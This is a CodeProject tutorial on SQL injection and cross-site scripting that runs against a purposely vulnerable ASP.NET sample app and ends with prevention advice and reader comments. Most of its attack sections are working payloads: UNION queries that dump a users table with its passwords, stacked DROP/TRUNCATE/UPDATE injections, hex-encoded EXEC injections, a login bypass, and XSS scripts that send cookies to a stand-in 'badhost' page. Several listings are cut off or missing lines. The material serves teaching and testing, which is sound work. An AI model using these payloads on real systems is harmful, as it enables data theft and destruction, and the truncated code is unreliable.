Click here to Skip to main content
15,906,467 members
Articles / Web Development / ASP.NET

SQL Injection and Cross-Site Scripting

Rate me:
Please Sign up or sign in to vote.
4.92/5 (144 votes)
17 Apr 2017CPOL14 min read 502.9K   3.9K   317   92
An article on SQL Injection and Cross-Site Scripting with sample code in C#.


For the past couple months, I was helping on patching up several legacy web applications from Cross-Site Scripting and SQL Injection vulnerabilities. I found lots of articles regarding this topic through Google but reading and experimenting with them are virtually two different things. So I decided to put together a small sample code to examine the vulnerabilities that I found. You are welcome to download this sample code.

What is SQL Injection and Cross-Site Scripting

Cross-Site Scripting (XSS or CSS)

  • Enables malicious attackers to inject client-side script (JavaScript) or HTML markup into web pages viewed by other users.

SQL Injection

  • Insertion of a SQL query via input data from client to application that is later passed to an instance of SQL Server for parsing and execution.
  • Very common with PHP and Classic ASP applications.

SQL Injection and Cross-Site Scripting attacks are not relatively new topics. Read more from:

The mentioned vulnerabilities can happen via:

  1. Query string
  2. Form input box

Sample Application/Using the code

Steps to Set Up the Sample Application

  1. Create a new database and name it TestDB.
  2. Create a new login and map it to TestDB.
  3. Run TestDBSetup.sql.

Steps to Run the Sample Application

  1. This sample code requires Visual Studio 2008 or newer; if you don't have it, download the 90-day trial edition from Microsoft (Click here).
  2. Download the sample code and unzip it.
  3. Update the connection string in web.config.
  4. Run the application and follow the sample described in this article. Sorry, the highlighted text didn't show up correctly here. Make sure to remove any line breaks from the sample URL when copying and pasting.
  5. Shown below is the structure of the sample code.
Figure 1

File structure

Query string

SQL Injection

Definition: Insertion of a SQL query via input data from a client to an application that is later passed to an instance of SQL Server for parsing and execution.

UNION SQL Injection

We will use the UNION statement to mine all the table names in the database. The two consecutive hyphens "--" indicate the SQL comments. See below that the comments are in green color, the query statement after the hyphens will not be evaluated by SQL server.

Listing 1
SELECT * FROM dbo.MyComments WHERE ID = 1 --ORDER BY [Name]

Execute the URL shown below:

Listing 2
http://localhost:1234/Sample/ListComments.aspx?cid=1 UNION SELECT NULL FROM 

It will yield the results "All queries combined using a UNION, INTERSECT, or EXCEPT operator must have an equal number of expressions in their target lists." This error message emerges if we try to run a UNION, INTERSECT, or EXCEPT query that has not an equal number of expressions in its SELECT list sections. The workaround is to keep adding the NULL expression in the URL until the error message disappears.

Listing 3
http://localhost:1234/Sample/ListComments.aspx?cid=1 UNION SELECT NULL, NULL 
http://localhost:1234/Sample/ListComments.aspx?cid=1 UNION SELECT NULL, NULL, 

The error message will disappear if the query has equal number of expressions in the UNION query. Next, try to replace each of the NULL value with TABLE_NAME. If you get an error message, leave it as NULL.

Listing 4
http://localhost:1234/Sample/ListComments.aspx?cid=1 UNION SELECT NULL, TABLE_NAME, 


Figure 2

Table name

From the output displayed above, we know that the database contains several tables namely MyComments, tbl_SQLInjection, tbl_users, and TestTable. Next, we will extract every column name in the tbl_users table. Execute the URL shown in listing 5.

Listing 5
http://localhost:1234/Sample/ListComments.aspx?cid=1 UNION SELECT NULL, COLUMN_NAME, 
WHERE TABLE_NAME = 'tbl_users'--


Figure 3

tbl_users column

From the output displayed above, we can see that tbl_users contains address, password, phone, secret, secret2, and username columns. To confirms that, shown below is the snapshot of the tbl_users table schema from SQL Server.

Figure 4

tbl_users column SQL

Repeat the same step with a different table name.

Listing 6
http://localhost:1234/Sample/ListComments.aspx?cid=1 UNION SELECT NULL, COLUMN_NAME, 
WHERE TABLE_NAME = 'MyComments'--

Let us retrieve the data stored in the tbl_users table. %2b and %27 are the URL encodings of "+" and "'", respectively. Execute the URL shown below.

Listing 7
http://localhost:1234/Sample/ListComments.aspx?cid=1 UNION SELECT NULL, username%2B 
%27 - %27%2Bpassword, secret %2B %27 - %27 %2B secret2, address, phone %2B %27 
- %27 %2Baddress, NULL, NULL FROM tbl_users--


Figure 5

tbl_users content

To confirm that, shown below is the snapshot of the tbl_users table contents. Repeat the same step for the rest of the tables.

Figure 6

tbl_users content SQL

Retrieve data from the sysprocesses table

We can also retrieve the SQL Server instance name, login name, database name, SQL Server version, and etc… from the master..sysprocesses table. Execute the URL below and observe the output.

Listing 8
http://localhost:1234/Sample/ListComments.aspx?cid=1 UNION SELECT NULL, DB_Name([dbid]) 
%2B CHAR(0x2d) %2B loginame, net_address, hostname %2B CHAR(0x2d) %2B %40%40ServerName, 
%40%40version, NULL, NULL FROM master..sysprocesses--

UPDATE the table

Listing 9
http://localhost:1234/Sample/ListComments.aspx?cid=1 UPDATE tbl_Users SET Password 
= 'HACKED' WHERE username ='' --


Figure 7

Modify password SQL

DELETE the data in the table

Listing 10
   DELETE FROM tbl_Users WHERE username ='' --

TRUNCATE the table

Listing 11
http://localhost:1234/Sample/ListComments.aspx?cid=99999 TRUNCATE TABLE tbl_Users --

DROP the table

Listing 12
http://localhost:1234/Sample/ListComments.aspx?cid=99999 DROP TABLE tbl_Users --

Hex based SQL Injection

Once in a while, we will see some strange entries as listed below in the server log file:

Listing 13
SQL &cat=c DECLARE%20@S%20NVARCHAR(4000);

Which when decoded to string will become (please do not copy and run this query):

Listing 14
DECLARE @T varchar(255),@C varchar(4000)
 select, from sysobjects a,syscolumns b 
 where and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 
 or b.xtype=167)
 exec('update ['+@T+'] set ['+@C+']=''"></title><script src=""> 
 </script><!--''+['+@C+'] where '+@C+' not like ''%"></title><script 
 Table_Cursor INTO @T,@C END CLOSE
 Table_Cursor DEALLOCATE Table_Cursor

The above query will find all the text columns in the table of each database and append a malicious script to it.


Shown below is a URL with a query string to retrieve comments from SQL Server by comment ID:


For the sake of simplicity, I'm using a simple Update statement to update the table. The "UPDATE dbo.MyComments SET test='HACKED'" query will look like 0x5550444154452064626f2e4d79436f6d6d656e74732053455420746573743d274841434b454427 in hexadecimal. The %3b is the URL encoding of the ";" character. Append the string to the URL. See below.

Listing 15
http://localhost:1234/Sample/ListComments.aspx?cid=1 DECLARE @S VARCHAR(255) 
SET @s=CAST(0x5550444154452064626f2e4d79436f6d6d656e74732053455420746573743d274841434b454427 
AS VARCHAR(255)) exec (@s)--
http://localhost:1234/Sample/ListComments.aspx?cid=1 DECLARE @S VARCHAR(255)SET 
AS VARCHAR(255)) exec (@s)--

Before executing the above URL:

Figure 8

Before executing

After executing the above URL:

Figure 9

After qs injection

Quick test

Append the below string to your web page's URL that takes parameters:

Listing 16
http://localhost:1234/Sample/ListComments.aspx?cid=1 DECLARE @S VARCHAR(500)
SET @s= CAST(0x4946204f424a4543545f4944282774626c5f53514c496e6a656374696f6e272c275527292
f2053514c20496e6a656374696f6e27 as VARCHAR(500))Exec(@s)--

If the URL parameter value is not an integer, try appending '; or '); or ; in front of the DECLARE keyword. See below for an example.

Listing 17
; DECLARE @S VARCHAR(500) SET @s= CAST(0x4946204f424a4543545f4944282774626c5f53514c
as VARCHAR(500))Exec(@s)--

Then, execute this query: "SELECT * FROM dbo.tbl_SQLInjection" in SQL Server Management Studio. If you see results similar to the one shown below, then the web page is subjected to hex based SQL Injection. Repeat the above step for the rest of the web pages.

Figure 10

afrer hacked

If the URL parameter value is not an integer, try appending '; or '); or ; in front of the query.

Cross-Site Scripting (CSS/XSS) attack

Definition: Enables malicious attackers to inject client-side script or HTML markup into web pages viewed by other users. Let's say we have a login page and it displays an error message for every unsuccessful attempt. The error message is stored within the query string of the URL and later displayed in a Label control. See figure 11.

Figure 11

Login page

Consider this scenario, an anonymous user sends you an email with the following content:

Listing 18
Dear Admin,
There is problem with the login page: http://localhost:1234/Sample/
"There is problem with the login page http://localhost:1234/Sample/LoginPage.aspx" 
  with the URL pointing to the above link.

Part of the URL is encoded as a hexadecimal value. When decoded, it will become:

Listing 19
   <script src="http://localhost:9997/badhost/maliciousscript.js"></script>

If we let our guard down and click on the link in the email, the browser will execute the malicious scripts. Execute the URL and you should see a pop-up message. Shown below is a script embedded in the query string to steal browser cookies.

Listing 20

When decoded, it will look like:

Listing 21
http://localhost:1234/Sample/LoginPage.aspx?strErr=<script>var s='<IFRAME 
style="display:none" SRC=http://localhost:9997/badhost/cookiemonster.aspx?c=

The script will embed an IFRAME on to the page and pointing to http://localhost:9997/badhost/cookiemonster.aspx with a query string parameter "c". This parameter holds the cookie value created by the "SQLInjection_XSS_Demo" application. To demonstrate this, I created a few cookies on LoginPage.aspx. cookiemonster.aspx will record all the cookie names and values in CookieJar.txt.

Listing 22
void FakeCookies()
  Response.Cookies["email"].Value = "";
  Response.Cookies["email"].Expires = DateTime.Now.AddDays(1);
  Response.Cookies["age"].Value = "22";
  Response.Cookies["age"].Expires = DateTime.Now.AddDays(1);

After executing the above URL, we will see the below entries in CookieJar.txt.

Figure 12

Cookies list

So what? What is the attacker going to do with my cookies information? Let's say the page will store some information in the cookies after a successful login attempt. Login using one of the usernames found in the tbl_users table then refresh the web page. The page will pull out some information from the cookies and display the results on to the page. See below.

Figure 13

Data from Cookies

Update table with malicious script

We already know the tables and column names from the previous example. Execute the URL shown in listing 23 to update the MyComment table with a JavaScript to tamper the cookies. This script will inject a script into the cookies value. Then navigate to the ListComments.aspx page to trigger the script and navigate back to LoginPage.aspx. You should see a popup message "XSS from bad host" indicating that the script was successfully executed by the browser.

Listing 23
http://localhost:1234/Sample/ListComments.aspx?cid=1 UPDATE MyComments SET Comment 
= %27<script>c="\<script src=\"http://localhost:9997/
document.cookie = "email="%2bc;</script> test %27 WHERE id =1 --

Let's append some malicious scripts to the MyComment table. Execute the URL shown below:

Listing 24

Part of the URL string, when decoded, will become:

Listing 25
UPDATE MyComments SET Name='<script 
src="http://localhost:9997/badhost/maliciousscript.js"></script>' --

Refresh the page, and we will see the popup message shown below. This indicates that the malicious script crafted by the attacker was successfully executed by the browser.

Figure 14

XSS from bad host

The URL shown below will embed an HTML IFrame on to the page and will trigger the cookiemonster.aspx page every time a user navigates to the ListComments.aspx page. Execute it, navigate to the ListComments.aspx page, and observe that the new contents are being appended to the CookieJar.txt file without a trace or warning message.

Listing 26
http://localhost:1234/Sample/ListComments.aspx?cid=1 UPDATE MyComments SET Name= 
'<script>var s="<IFRAME style=display:none 
c="%2bescape(document.cookie)%2b"><\/IFRAME>";document.write(s)</script>' --

Quick test

Append any of the below strings to your web page's URL that take parameters. If you see a pop-up message, then the web page is subjected to a Cross-Site Scripting attack.

  • http://localhost:1234/Sample/LoginPage.aspx?strErr="><scrIpt>alert("XSS")</scriPt>
  • http://localhost:1234/Sample/LoginPage.aspx?strErr=%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%22%58%53%53%22%29%3C%2F%73%63%72%69%70%74%3E
  • http://localhost:1234/Sample/LoginPage.aspx?strErr=</TITLE><sCRIPT>alert("XSS");</SCRIPt>
  • http://localhost:1234/Sample/LoginPage.aspx?strErr=<BODY%20ONLOAD=alert("XSS")>
  • http://localhost:1234/Sample/LoginPage.aspx?strErr="><iFRAME%20SRC="javascript:alert('XSS');"></IFRaME>

Forms input

SQL Injection

We can bypass the login page by simply adding ' or 1=1 -- or ') or 1=1-- to the login ID and placing any value in the password field. See example below.

Figure 15

SQL Injection login screen

If there are no maximum number of characters defined on the TextBox, the attacker can append the SQL statement mentioned above to the form input's value. Let's say we have a page to update the comment and I update the comment with the value shown below. We should see a new entry in the tbl_SQLInjection table after the update.

Listing 27
'; DECLARE @S VARCHAR(500) SET @s= CAST(0x4946204f424a4543545f4944282774626c5f53514c
  as VARCHAR(500))Exec(@s)--

Next, I'll demonstrate a simple way an attacker can update every column in the table with the same value. Let's update the Name value with a hacked ';--

Figure 16

Update column value to hacked

Retrieve all the rows from the MyComments table and you will see that all the values in the Name column were updated to "hacked". As mentioned earlier, the two consecutive hyphens "--" indicate the SQL comments; the query statement after the hyphens will not be evaluated by SQL Server. Please make sure to backup the database before replicating this demonstration.

Figure 17

form injection update

Cross-Site Scripting

Cross-Site Scripting enables malicious attackers to inject client-side script or HTML markup into web pages viewed by other users. This can happen through the input form. Update the comment with the string "<script src="http://localhost:9997/badhost/maliciousscript.js"></script>". You should see a pop-up message when you navigate to the ListComments.aspx page.

Figure 18

Update form with XSS

Quick test

Update the form value with any of the strings listed below and observe the outcomes. Make sure the string is in one line and no line break. If the JavaScript is executed successfully by the browser or displays unexpected results, then the web page is subjected to Cross-Site scripting.

  • <BODY ONLOAD=''javascript:window.location=""''>
  • <BODY ONLOAD="javascript:alert(''XSS'')">
  • <p onmouseover=javascript:window.location="http://www.";>test
  • <p onmousemove=javascript:window.location="http://www.";>test
  • <p onMouseDown=javascript:window.location="";>test
  • <span onmouseover=javascript:window.location="http://www.";>test</span>
  • <span onmousemove=javascript:window.location="";>test</span>
  • <h2 onmouseover=javascript:window.location="";>test
  • <div onmouseover=javascript:window.location="http://1208929383";>test
  • <meta http-equiv="refresh" content="1; URL=http://1208929383">
  • <b onmouseover=javascript:window.location="";>test
  • <img onmouseover=javascript:window.location="";>
  • <img src= width="1" height="1" onLoad=javascript:window.location="";>
  • <div style="width:100%" onresize=javascript:window.location="";>test</div> (Resize the browser to see the behavior)
  • <tt style="width:100%" onmousemove=javascript:window.location="";>test
  • <PLAINTEXT> test
  • <object> test
  • <applet> test
  • <textarea> test
  • <title> test
  • <table> test
  • <style> test
  • <noscript> test

JavaScript Event Injection vulnerability

The JavaScriptFunctionInjection.aspx page contains two examples of how to replicate the JavaScript Event Injection vulnerability using ASP.NET inline tags and a client-side input control. The first example uses a single quote and the second example uses a quote. See Figure 19. This vulnerability will work with an ASP.NET TextBox control if ValidateRequest is set to false. Copy one of the sample test inputs and hit the Submit button (see Figure 19).

Figure 19

JavaScript Event injection example

Type something in the input box and you should see a result similar to that in Figure 20. Note: The output from the first example was encoded and the single quote was replaced with a double quote on purpose.

Figure 20

JavaScript Event injection result

What is going on? We have encoded the output and replaced the single quote with double quote! Let's take a closer look at the HTML markup code. The JavaScript Event was successfully injected to the first example but treated as a string by the second example. The HtmlEncode method did not escape the single quote but escaped the quote correctly. I would suggest avoiding wrapping the ASP.NET inline code in between the single quote. Don't forget to test the second example. The output from the second example was not being encoded on purpose.

Listing 28
<input id="Text1" name="Text1" type="text" value='a''
    onKeyDown=alert("gotcha+onKeyDown") '''  />

<input id="Text2" name="Text2" type="text" value="a''
    onKeyDown=alert("gotcha+onKeyDown") ''" />

Points of interest

Do not rely solely on client-side validation (JavaScript)

The attacker can bypass the client-side validation by disabling JavaScript in web browsers. Do not depend exclusively on JavaScript to search and replace potentially dangerous HTML statements or SQL Injection keywords. Make sure to revalidate the user input at the server-side. I know this is a lot of work, but for the sake of security, we have to do it. In the Add Comments section, the page uses JavaScript to check for blank fields. Try to disable JavaScript on your browser and add the comment again. Click here to learn how to disable and enable JavaScript.

Replacing single quotation mark (') with two single quotation marks ('')

I saw some web sites mentioning that SQL Injection vulnerability can be prevented by simply replacing single quotation marks with double quotation marks. That is not always the case; the attackers will still be able to inject a table with malicious script or HTML markup without the single quotation mark. Malicious users can bypass the filter by using a different character encoding; please refer to "How To: Prevent Cross-Site Scripting in ASP.NET", table 1.

Inline Code/tags

There are several ways to display information from an ASP.NET program. We can display information in the page using an embedded code block. <% ... %> or using <%= … %> construction. Another way is to use the data-binding syntax <%# … %> to bind the control property values to the data and specify values for retrieving, updating, deleting, and inserting data. Make sure to apply either the HttpUtility.HtmlEncode or Server.HtmlEncode methods to encode the form data and other client requests before displaying it in the web page. This will help prevent possible Cross-Site Scripting injection attacks. With ASP.NET 4.0, the new <%: … %> code nugget-syntax will automatically HTML encode the output before it is rendered.

Stored Procedure

I use Stored Procedures in my web application. Are Stored Procedures immune to SQL Injection attacks? The answer is "it depends". If we are using dynamic SQL statements within Stored Procedures, then they might be open to SQL Injection attacks. Shown below is a Stored Procedure with a dynamic SQL statement in it.

Figure 21

Dynamic SQL

Update the comment field with the value ha ha ha';--. The "Update using inline query" and "Update using SP – Dynamic Query" button will update every comment field in the table with the specified value. On the other hand, the "Update using SP" button will only update the current record.

Figure 22

Update comment

Request validation (ASP.NET)

Please note that the ValidateRequest attribute in the @page directive is set to false on purpose to emulate the Classic ASP environment and prevent .NET Framework from throwing the error: "A potentially dangerous Request.Form value was detected from the client". If you happen to come across this error message in your application, rethink the business logic or page architecture before disabling the request validation.

More reading/ Prevent SQL Injection and Cross-Side Scripting


I hope someone will find this information useful. If you find any bugs or disagree with the contents, please drop me a line and I'll work with you to correct it. I would suggest downloading the demo and explore it in order to grasp the full concept of it. Please send me an email if you want to help improve this article.


04/18/2017 - Updated to replace obsolete links under Resources and More reading/ Prevent SQL Injection and Cross-Side Scripting




This article, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)

Written By
Software Developer (Senior)
United States United States
I have over 10 years of experience working with Microsoft technologies. I have earned my Microsoft Certified Technology Specialist (MCTS) certification. I'm a highly motivated self-starter with an aptitude for learning new skills quickly.

Comments and Discussions

QuestionXML Issue understanding Pin
Vivian Lobo13-Jul-18 11:39
Vivian Lobo13-Jul-18 11:39 
AnswerRe: XML Issue understanding Pin
Bryian Tan29-Jul-18 20:03
professionalBryian Tan29-Jul-18 20:03 
SuggestionThis article is less than half of what it should be Pin
MadMyche18-Apr-17 4:09
professionalMadMyche18-Apr-17 4:09 
GeneralRe: This article is less than half of what it should be Pin
Bryian Tan18-Apr-17 9:17
professionalBryian Tan18-Apr-17 9:17 
GeneralRe: This article is less than half of what it should be Pin
jimstjohn19-Apr-17 9:25
jimstjohn19-Apr-17 9:25 
GeneralRe: This article is less than half of what it should be Pin
Bryian Tan19-Apr-17 11:40
professionalBryian Tan19-Apr-17 11:40 
GeneralMy vote of 5 Pin
Sibeesh KV21-Sep-14 22:35
professionalSibeesh KV21-Sep-14 22:35 
QuestionCreate login and map to DB? Pin
Member 103194498-Mar-14 23:19
Member 103194498-Mar-14 23:19 
GeneralMy vote of 5 Pin
Renju Vinod12-Nov-13 20:05
professionalRenju Vinod12-Nov-13 20:05 
GeneralMy vote of 5 Pin
RaisKazi24-Jul-13 9:16
RaisKazi24-Jul-13 9:16 
GeneralRe: My vote of 5 Pin
Bryian Tan20-Sep-13 3:12
professionalBryian Tan20-Sep-13 3:12 
GeneralMy vote of 5 Pin
Kanasz Robert13-Apr-13 1:27
professionalKanasz Robert13-Apr-13 1:27 
GeneralRe: My vote of 5 Pin
Bryian Tan23-Jun-13 16:32
professionalBryian Tan23-Jun-13 16:32 
Questionplease help me Pin
Yêu Thuê12-Sep-12 5:37
Yêu Thuê12-Sep-12 5:37 
GeneralRe: please help me Pin
Bryian Tan12-Sep-12 6:52
professionalBryian Tan12-Sep-12 6:52 
GeneralRe: please help me Pin
Yêu Thuê13-Sep-12 21:09
Yêu Thuê13-Sep-12 21:09 
GeneralRe: please help me Pin
Bryian Tan14-Sep-12 4:43
professionalBryian Tan14-Sep-12 4:43 
GeneralRe: please help me Pin
Yêu Thuê19-Sep-12 4:27
Yêu Thuê19-Sep-12 4:27 
Questionsimilar articles about another attacks Pin
Khaldoon Al-Talib11-Aug-12 3:00
Khaldoon Al-Talib11-Aug-12 3:00 
Questionan exception Pin
Khaldoon Al-Talib9-Aug-12 10:24
Khaldoon Al-Talib9-Aug-12 10:24 
AnswerRe: an exception Pin
Bryian Tan9-Aug-12 14:22
professionalBryian Tan9-Aug-12 14:22 
GeneralRe: an exception Pin
Khaldoon Al-Talib10-Aug-12 10:32
Khaldoon Al-Talib10-Aug-12 10:32 
GeneralRe: an exception Pin
Bryian Tan10-Aug-12 15:53
professionalBryian Tan10-Aug-12 15:53 
GeneralRe: an exception Pin
Khaldoon Al-Talib11-Aug-12 0:33
Khaldoon Al-Talib11-Aug-12 0:33 
Questionthe database of the application Pin
Khaldoon Al-Talib9-Aug-12 9:18
Khaldoon Al-Talib9-Aug-12 9:18 

General General    News News    Suggestion Suggestion    Question Question    Bug Bug    Answer Answer    Joke Joke    Praise Praise    Rant Rant    Admin Admin   

Use Ctrl+Left/Right to switch messages, Ctrl+Up/Down to switch threads, Ctrl+Shift+Left/Right to switch pages.